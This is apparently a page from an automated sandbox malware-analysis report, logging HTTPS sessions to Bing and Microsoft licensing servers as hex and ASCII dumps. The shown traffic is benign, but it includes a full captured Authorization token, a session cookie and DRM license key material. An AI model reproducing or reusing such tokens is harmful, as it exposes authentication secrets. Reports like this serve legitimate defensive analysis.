Set-Cookie: _SS=SID=2741C825233C60250D3FD9F122446165; domain=.bing.com; path=/
X-XSS-Protection: 0
X-Cache: CONFIG_NOCACHE
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-
CH-UA-Platform, Sec-CH-UA-Platform-Version
X-MSEdge-Ref: Ref A: F8C2E2F46CE2411DA64E938548A4C678 Ref B: VIEEDGE1121 Ref C: 2022-07-01T09:01:21Z
Date: Fri, 01 Jul 2022 09:01:20 GMT
Connection: close

2022-07-01 09:01:21 UTC 2019 IN Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 
67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 
75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 
4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 
22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 7
6 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 
55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 
Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSear
chGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""
},"SearchButtonUseSearchIcon":{"value

2022-07-01 09:01:21 UTC 2020 IN Data Raw: 6f 74 69 66 69 63 61 74 69 6f 6e 41 63 74 69 6f 6e 73 45 6e 61 62 6c 65 64 22 3a 7b 22 76 61 6c 75 65 22 3a 
66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 43 6c 6f 75 64 41 67 65 6e 74 5f 4d 65 64 69 61 43 6f 6e 
74 72 6f 6c 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 43 6c 6f 75 
64 41 67 65 6e 74 5f 56 6f 6c 75 6d 65 43 6f 6e 74 72 6f 6c 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 
74 75 72 65 22 3a 22 22 7d 2c 22 50 72 6f 61 63 74 69 76 65 50 72 65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 4d 69 6e 
75 74 65 73 22 3a 7b 22 76 61 6c 75 65 22 3a 32 38 38 30 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 
63 68 42 6f 78 41 75 74 6f 53 75 67 67 65 73 74 65 64 46 6f 72 65 
Data Ascii: otificationActionsEnabled":{"value":false,"feature":""},"CloudAgent_MediaControl":{"value":true,"feature":""
},"CloudAgent_VolumeControl":{"value":true,"feature":""},"ProactivePrefetchIntervalMinutes":{"value":2880,"feature":""},
"SearchBoxAutoSuggestedFore

Timestamp
kBytes
transferred

Direction Data
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Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

111 192.168.2.5 49877 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:21 UTC 2023 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.2
Content-Length: 4277
Host: licensing.mp.microsoft.com

2022-07-01 09:01:21 UTC 2025 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:21 UTC 2029 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:21 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7941
MS-CorrelationId: 861514f1-4dc3-417d-8db6-93590cff2a3b
MS-RequestId: adde570c-a841-40e4-8472-b8529b1fb792
MS-CV: UznHpAHqV0GMBdER.2.1530938592.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-x6m7d

2022-07-01 09:01:21 UTC 2029 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 30 61 38 63 31 34 39 32 2d 36 35 63 61 2d 36 
61 30 31 2d 64 65 32 35 2d 30 65 31 38 33 35 35 39 64 31 30 64 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"0a8c1492-65ca-6a01-de25-0e183559d10d"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

Copyright Joe Security LLC 2022 Page 65 of 280



2022-07-01 09:01:21 UTC 2030 IN Data Raw: 6a 45 34 4f 6a 45 31 4c 6a 45 30 4d 54 6b 79 4f 44 4a 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 
43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 
5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 4a 4d 6b 35 
48 53 58 6c 4e 62 56 4a 74 54 56 4d 77 4d 56 6c 55 62 47 70 4d 56 46 4a 71 54 30 52 6e 64 46 6c 58 52 58 68 61 61 54 
41 77 54 57 31 4f 62 46 70 74 52 6d 31 50 52 30 6c 35 54 30 52 46 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 62 
56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 42 
51 55 74 33 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 51 55 46 42 
Data Ascii: jE4OjE1LjE0MTkyODJaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWNpZXM+ZXl
Kc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJMk5HSXlNbVJtTVMwMVlUbGpMVFJqT0RndFlXRXhaaTAwTW1
ObFptRm1PR0l5T0RFaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQUt3QUF
BREpBQUFBQ2dBQUFB

2022-07-01 09:01:21 UTC 2031 IN Data Raw: 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 
62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 
6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 
6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 
58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 
64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6c 62 6d 4d 6a 63 32 68 68 4d 6a 55 
32 49 69 41 76 50 6a 78 45 61 57 64 6c 63 33 52 57 59 57 78 31 5a 54 35 44 
Data Ascii: kk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzI
wMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ
29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxEaWdlc3RWYWx1ZT5D

2022-07-01 09:01:21 UTC 2032 IN Data Raw: 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 
63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 
30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6
c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 
6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 
65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 4e 55 6d 68 7a 4c 30 30 7a 56 6d 55 31 4d 54 46 
49 55 57 5a 4c 64 55 63 72 4f 54 4a 6e 4d 55 39 6d 5a 6b 70 6b 55 6e 4e 42 
Data Ascii: 0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF
0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmp
vRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUc
rOTJnMU9mZkpkUnNB

2022-07-01 09:01:21 UTC 2033 IN Data Raw: 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 57 6e 56 75 5a 56 5a 70 5a 47 56 76 58 7a 68 33 5a 57 
74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 
57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 
5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 
6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 
56 7a 59 57 64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 78 70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 
54 30 69 55 6d 56 30 59 57 6c 73 49 6a 34 38 53 58 4e 7a 64 57 56 6b 52 47 
Data Ascii: Ocz5NaWNyb3NvZnQuWnVuZVZpZGVvXzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZ
VJlbmV3YWxQZXJpb2Q+MTI5NjAwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlS
W5mbyBUeXBlPSJMZWFzZSIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29yeT0iUmV0YWlsIj48SXN
zdWVkRG

2022-07-01 09:01:21 UTC 2034 IN Data Raw: 43 61 46 6b 79 64 47 68 61 4d 6c 5a 4b 57 6b 64 57 64 57 52 48 62 47 31 68 56 31 5a 35 53 57 70 76 61 55 
35 71 62 47 31 4e 4d 6b 70 71 57 56 64 4a 64 45 39 45 61 7a 4e 4f 55 7a 46 71 54 6c 52 4a 4d 6b 78 55 54 58 64 61 61 
6c 56 30 54 58 70 73 62 56 6c 55 59 33 64 5a 65 6d 4d 7a 57 56 64 52 4e 55 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 
62 6c 70 57 55 6a 56 6a 52 31 56 70 54 32 6c 4b 64 47 4d 79 62 44 52 4a 61 58 64 70 59 30 68 4b 64 6c 70 49 56 6d 70 
6b 52 55 5a 72 57 6b 55 35 64 57 4e 35 53 54 5a 58 4d 54 42 7a 53 57 35 43 65 57 49 79 55 6a 46 5a 4d 31 4a 4b 57 6b 
4e 4a 4e 6b 6c 71 62 46 68 58 61 31 4a 50 55 54 46 4b 52 31 4e 71 54 6c 46 4e 61 55 6c 7a 53 57 35 4f 63 6d 52 56 62 
47 74 4a 61 6d 39 70 54 55 52 42 65 45 31 44 53 6a 6c 59 55 33 64 70 59 30 
Data Ascii: CaFkydGhaMlZKWkdWdWRHbG1hV1Z5SWpvaU5qbG1NMkpqWVdJdE9EazNOUzFqTlRJMkxUTXdaalV0T
XpsbVlUY3dZemMzWVdRNUlpd2ljR0ZqYTJGblpWUjVjR1VpT2lKdGMybDRJaXdpY0hKdlpIVmpkRUZrWkU5dWN5STZ
XMTBzSW5CeWIyUjFZM1JKWkNJNklqbFhXa1JPUTFKR1NqTlFNaUlzSW5OcmRVbGtJam9pTURBeE1DSjlYU3dpY0

2022-07-01 09:01:21 UTC 2035 IN Data Raw: 70 65 6d 46 30 61 57 39 75 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 
52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 78 4d 43 39 34 62 57 77 74 5a 
58 68 6a 4c 57 4d 78 4e 47 34 6a 49 69 41 76 50 6a 78 54 61 57 64 75 59 58 52 31 63 6d 56 4e 5a 58 52 6f 62 32 51 67 
51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 
79 4d 44 41 78 4c 7a 41 30 4c 33 68 74 62 47 52 7a 61 57 63 74 62 57 39 79 5a 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 
55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 56 4a 4a 50 53 49 69 50 6a 78 55 63 6d 46 75 63 
32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 
Data Ascii: pemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjL
WMxNG4jIiAvPjxTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGR
zaWctbW9yZSNyc2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQW

2022-07-01 09:01:21 UTC 2036 IN Data Raw: 59 52 6d 30 33 4d 47 51 35 65 6d 70 59 54 48 4a 44 5a 6d 39 51 4f 47 38 76 51 6e 4a 5a 55 48 5a 52 50 54 
30 38 4c 31 4e 70 5a 32 35 68 64 48 56 79 5a 56 5a 68 62 48 56 6c 50 6a 78 4c 5a 58 6c 4a 62 6d 5a 76 49 45 6c 6b 50 
53 4a 66 4d 47 59 34 4d 57 49 79 4e 47 59 74 59 6d 4d 30 4d 43 30 79 4e 7a 45 79 4c 54 42 6b 4e 57 51 74 5a 54 64 6a 
4d 54 41 77 4f 44 56 6a 4d 7a 4d 77 49 6a 34 38 53 32 56 35 56 6d 46 73 64 57 55 2b 50 46 4a 54 51 55 74 6c 65 56 5a 
68 62 48 56 6c 50 6a 78 4e 62 32 52 31 62 48 56 7a 50 6d 39 57 55 30 70 59 53 58 52 45 63 32 46 42 53 57 5a 33 65 56 
49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 45 39 4d 56 32 52 44 4d 69 39 55 55 57 39 6b 5a 
32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 
Data Ascii: YRm03MGQ5empYTHJDZm9QOG8vQnJZUHZRPT08L1NpZ25hdHVyZVZhbHVlPjxLZXlJbmZvIElkPSJfM
GY4MWIyNGYtYmM0MC0yNzEyLTBkNWQtZTdjMTAwODVjMzMwIj48S2V5VmFsdWU+PFJTQUtleVZhbHVlP
jxNb2R1bHVzPm9WU0pYSXREc2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZ
EJ2eEp2S2hwYnJxNl

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

112 192.168.2.5 49878 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:22 UTC 2037 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.3
Content-Length: 4369
Host: licensing.mp.microsoft.com

2022-07-01 09:01:22 UTC 2039 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:22 UTC 2043 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:21 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8177
MS-CorrelationId: a9e7fa69-4ada-48b9-8989-4f3b1a3813ed
MS-RequestId: b92097e8-9bb5-4faa-b119-04bda3284113
MS-CV: UznHpAHqV0GMBdER.3.1530938639.4209866855.0
X-Content-Type-Options: nosniff
MS-ServerId: 4

2022-07-01 09:01:22 UTC 2044 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 31 37 64 35 38 34 36 39 2d 38 65 33 66 2d 62 
39 34 32 2d 36 61 38 64 2d 62 35 66 38 63 37 30 61 38 36 35 66 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
